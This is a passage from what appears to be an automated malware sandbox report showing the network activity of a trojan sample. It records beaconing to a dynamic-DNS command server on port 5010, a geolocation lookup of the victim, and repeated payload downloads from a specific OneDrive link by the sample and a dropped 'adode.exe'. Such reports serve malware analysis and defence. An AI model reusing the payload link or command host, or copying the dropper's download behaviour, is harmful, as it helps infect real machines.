Apr 19, 2024 12:29:44.887835026 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.890064955 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.890101910 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.256081104 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.256175995 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:45.257508993 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:45.257524014 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.258394957 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.306873083 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:45.348155975 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.547290087 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.547489882 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.547755003 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:45.547919989 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:45.547986984 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:45.548024893 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:45.548058033 CEST	443	49743	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:46.734200954 CEST	49745	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.734249115 CEST	443	49745	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:46.734337091 CEST	49745	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.739016056 CEST	49745	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.739079952 CEST	443	49745	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:46.739171028 CEST	49745	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.833653927 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.833698988 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:46.833772898 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.834084988 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:46.834095955 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.211316109 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.211399078 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:47.214715958 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:47.214725018 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.215049028 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.216196060 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:47.260158062 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.493124008 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.493236065 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:47.493392944 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:47.493392944 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:47.493935108 CEST	49746	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:47.493957043 CEST	443	49746	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:48.758721113 CEST	49748	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.758758068 CEST	443	49748	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:48.758836985 CEST	49748	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.761356115 CEST	49748	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.761405945 CEST	443	49748	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:48.761471033 CEST	49748	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.802054882 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.802097082 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:48.802160978 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.802501917 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:48.802515984 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.162326097 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.162419081 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:49.163868904 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:49.163882017 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.164128065 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.165366888 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:49.212115049 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.229731083 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:49.275487900 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:49.288227081 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:49.428236961 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.428354979 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.428402901 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:49.470597982 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:49.470622063 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.470653057 CEST	49749	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:49.470659018 CEST	443	49749	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:49.476525068 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:30:13.893610954 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:14.463816881 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:15.668502092 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:17.867495060 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:19.346625090 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:30:19.347954988 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:30:19.539227962 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:30:22.067507982 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:30.567498922 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:47.358505011 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:30:49.413887978 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:30:49.415337086 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:30:49.606393099 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:31:19.529521942 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:31:19.532031059 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:31:19.720177889 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:31:49.686194897 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:31:49.687978983 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:31:49.879060030 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:32:19.816740036 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:32:19.817987919 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:32:20.003132105 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:32:49.918239117 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:32:49.920928955 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:32:50.101629019 CEST	5010	49717	192.3.193.55	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 12:28:50.483319998 CEST	59189	53	192.168.2.6	1.1.1.1
Apr 19, 2024 12:28:51.380959034 CEST	62783	53	192.168.2.6	1.1.1.1
Apr 19, 2024 12:29:03.462774038 CEST	64396	53	192.168.2.6	1.1.1.1
Apr 19, 2024 12:29:03.607789993 CEST	53	64396	1.1.1.1	192.168.2.6
Apr 19, 2024 12:29:05.781646013 CEST	63288	53	192.168.2.6	1.1.1.1
Apr 19, 2024 12:29:05.922945023 CEST	53	63288	1.1.1.1	192.168.2.6
Apr 19, 2024 12:29:30.388484955 CEST	61590	53	192.168.2.6	1.1.1.1
Apr 19, 2024 12:29:32.359481096 CEST	62513	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 12:28:50.483319998 CEST	192.168.2.6	1.1.1.1	0x20bc	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:28:51.380959034 CEST	192.168.2.6	1.1.1.1	0xdca1	Standard query (0)	a4wlna.bn.files.1drv.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:03.462774038 CEST	192.168.2.6	1.1.1.1	0x319	Standard query (0)	newpage44.mywire.org	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:05.781646013 CEST	192.168.2.6	1.1.1.1	0x5388	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:30.388484955 CEST	192.168.2.6	1.1.1.1	0x5aa0	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:32.359481096 CEST	192.168.2.6	1.1.1.1	0xe6f2	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 12:28:50.591326952 CEST	1.1.1.1	192.168.2.6	0x20bc	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:28:50.591326952 CEST	1.1.1.1	192.168.2.6	0x20bc	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:28:50.591326952 CEST	1.1.1.1	192.168.2.6	0x20bc	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:28:50.591326952 CEST	1.1.1.1	192.168.2.6	0x20bc	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:28:50.591326952 CEST	1.1.1.1	192.168.2.6	0x20bc	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:28:51.637001038 CEST	1.1.1.1	192.168.2.6	0xdca1	No error (0)	a4wlna.bn.files.1drv.com	bn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:28:51.637001038 CEST	1.1.1.1	192.168.2.6	0xdca1	No error (0)	bn-files.fe.1drv.com	odc-bn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:03.607789993 CEST	1.1.1.1	192.168.2.6	0x319	No error (0)	newpage44.mywire.org		192.3.193.55	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:05.922945023 CEST	1.1.1.1	192.168.2.6	0x5388	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:30.508434057 CEST	1.1.1.1	192.168.2.6	0x5aa0	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:30.508434057 CEST	1.1.1.1	192.168.2.6	0x5aa0	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:30.508434057 CEST	1.1.1.1	192.168.2.6	0x5aa0	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:30.508434057 CEST	1.1.1.1	192.168.2.6	0x5aa0	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:30.508434057 CEST	1.1.1.1	192.168.2.6	0x5aa0	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:32.465131998 CEST	1.1.1.1	192.168.2.6	0xe6f2	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:32.465131998 CEST	1.1.1.1	192.168.2.6	0xe6f2	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:32.465131998 CEST	1.1.1.1	192.168.2.6	0xe6f2	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 12:29:32.465131998 CEST	1.1.1.1	192.168.2.6	0xe6f2	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Apr 19, 2024 12:29:32.465131998 CEST	1.1.1.1	192.168.2.6	0xe6f2	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

onedrive.live.com

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	178.237.33.50	80	7148	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 12:29:06.269449949 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Apr 19, 2024 12:29:06.486409903 CEST	1171	IN	HTTP/1.1 200 OK date: Fri, 19 Apr 2024 10:29:06 GMT server: Apache content-length: 963 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4d 61 72 69 65 74 74 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 43 6f 64 65 22 3a 22 47 41 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 61 72 65 61 43 6f 64 65 22 3a 22 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 6d 61 43 6f 64 65 22 3a 22 35 32 34 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 69 6e 45 55 22 3a 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 65 75 56 41 54 72 61 74 65 22 3a 66 61 6c 73 65 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 6c 61 74 69 74 75 64 65 22 3a 22 33 34 2e 30 34 31 34 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 38 34 2e 35 30 35 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 6c 6f 63 61 74 69 6f 6e 41 63 63 75 72 61 63 79 52 61 64 69 75 73 22 3a 22 31 30 30 30 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 53 79 6d 62 6f 6c 22 3a 22 24 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 53 79 6d 62 6f 6c 5f 55 54 46 38 22 3a 22 24 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 75 72 72 65 6e 63 79 43 6f 6e 76 65 72 74 65 72 22 3a 30 0a 7d Data Ascii: { "geoplugin_request":"81.181.57.52", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Marietta", "geoplugin_region":"Georgia", "geoplugin_regionCode":"GA", "geoplugin_regionName":"Georgia", "geoplugin_areaCode":"", "geoplugin_dmaCode":"524", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"34.0414", "geoplugin_longitude":"-84.5053", "geoplugin_locationAccuracyRadius":"1000", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49700	13.107.137.11	443	1612	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:28:51 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:28:51 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mmL4PBZSGLf1pYr2YfjNrkXkndhxiwwSoTpoHnrAYtwy9Eq6BXHDf1wledd6ZKEsCAMcWpTKH_SMaV__NstSllkcZFntpgUxg96zJILQmBuZOEVXqEXR6PqXXXfXEHIfo3Mh-DKNEHa5l-RzcJHpG3to2hcMJi9g-nUl5MSeBp_b8X2LNetIxNFv8-lhiMgR5dCG0KzOTowMDDnqptNBZ2A/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:aUyRgVtg3Ig=:iCd9YPUaZgEOIwgIvGWhK5ZX7kX4qvLqutH6PWNf3eU=:F; domain=.live.com; path=/ Set-Cookie: xid=b01283b0-362a-466d-981e-70f7a7e47171&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:48:51 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:28:51 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 676c7b6ddb-krqjc X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0A56533FC024478F80359F757932D6AE Ref B: BN3EDGE0911 Ref C: 2024-04-19T10:28:51Z Date: Fri, 19 Apr 2024 10:28:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49703	13.107.137.11	443	1612	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:28:53 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:28:53 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mQnT42dTTZoVpI26gJstoUVhxKKEPMGnF4cky9RhC_MZ_ZmvEjjMEEG1cUJtdE-1Su7om1tlNRY7KW3JGPzFSeW9AmM3tjU8Akn4pgzttlLJvZCIhN-aUsXVmb6Q2N5GpQ68lIGgVe31GxjjAP0ssBFKCAMm0w0OsXmfQ89R-2lcVNI885CxUbQxe0B-KeOkm0rYjFqbhO7pSV7ikalsSeQ/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:I5Dagltg3Ig=:pYE7CkId4lYtuNWP4/HNs+4K8C7CCAtlJGwmZeoXSS0=:F; domain=.live.com; path=/ Set-Cookie: xid=68268819-6478-4634-8041-4c2bfb64a397&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:48:53 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:28:53 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-q77mb X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B002B6593E57428987455A1BC8115E57 Ref B: BN3EDGE0210 Ref C: 2024-04-19T10:28:53Z Date: Fri, 19 Apr 2024 10:28:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49706	13.107.137.11	443	1612	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:28:55 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:28:55 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4m3u0QFpR4j-D-zfvEHJd1n5xdhOF39iul8b83e3LPDlruW3-qFyfQFrm9rKg0BjviEbF94jum6BZ8xR9H6Udr4yhCmHgjttpX56heCw_8nRzgjVacaRHLZGS9afOa8nERcXGCq0p4_cmtQGVcHkhYzrm4A0piy4yz2w2EFub0GEJMsUoPDKPaobddvgqIhQCi1UpRBbW83Y1hCZX1TGg4Yg/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:IhHog1tg3Ig=:qxZeuJOpn7DjEd7eXR7ewRuCBwNoZpJ/hcx62WtxCV4=:F; domain=.live.com; path=/ Set-Cookie: xid=41ecb097-2fc6-453f-85df-0c9c4065c23d&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:48:55 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:28:55 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-4qw5w X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 5C86AAD8F1F641A89DDE5D2F9A8CBE54 Ref B: BN3EDGE0921 Ref C: 2024-04-19T10:28:55Z Date: Fri, 19 Apr 2024 10:28:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49709	13.107.137.11	443	7148	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:28:58 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
2024-04-19 10:28:58 UTC	1177	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://a4wlna.bn.files.1drv.com/y4mpQEh8k2buqyUrIoyF6LQRqdR-W8s6kXvlC8FY4Vl55jnIHsQwPN8EI3RjIX3BvWwawdoN9hN0emjWWmo82kwqqYU7Ed8RxCXnZ5TIgACXA5ICba1UoNwoffZYQCEA1gAhQY8E28irAm3oquU4NsPb9DU311yKLB52-vJxjSnwK1lHYj_S7FDuKCrckQY9H8gyHma1LRrCnMFBv4Q1Tw6Sw/255_Tuscpznjngw?download&psid=1 Set-Cookie: E=P:7xrYhVtg3Ig=:wxrHsRNao6qkaTZbV8bGQvP6FdCeGsPj9jIfeGh5DUM=:F; domain=.live.com; path=/ Set-Cookie: xid=c588c282-30a0-4172-b7aa-5f33cd82d1b0&&ODSP-ODWEB-ODCF&147; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 19-Apr-2024 08:48:58 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 26-Apr-2024 10:28:58 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 5fd6fc6db4-h7x8t X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 6D736A5A15D249458D47F7A98CFA0370 Ref B: BN3EDGE0814 Ref C: 2024-04-19T10:28:58Z Date: Fri, 19 Apr 2024 10:28:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49712	13.107.137.11	443	7148	C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 10:29:00 UTC	213	OUT	GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: onedrive.live.com
